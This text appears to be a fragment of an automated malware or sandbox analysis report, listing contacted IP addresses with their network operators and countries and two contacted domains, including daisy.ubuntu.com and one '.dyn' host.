39651 COMHEM-SWEDENSE false
193.82.58.4
 unknown United Kingdom
1901 EUNETAT-ASA1TelekomAustriaAGAT false
82.136.164.95
 unknown Sweden
9153 BURSTFIRE-EUEuropeanPeeringandTransitASGB false
171.4.223.234
 unknown Thailand
45758 TRIPLETNET-AS-APTripleTInternetTripleTBroadbandTH false
93.131.197.87
 unknown Germany
6805 TDDE-ASN1DE false
143.235.56.246
 unknown United States
3128 BRUWS-AS3128US false
95.99.219.105
 unknown Netherlands
31615 TMO-NL-ASNL false
64.118.136.21
 unknown United States
7029 WINDSTREAMUS false
139.201.146.66
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
221.106.152.193
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
200.61.173.108
 unknown Argentina
16814 NSSSAAR false
145.183.86.208
 unknown Netherlands
59524 KPN-IAASNL false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true
21savage.dyn 103.253.147.242 true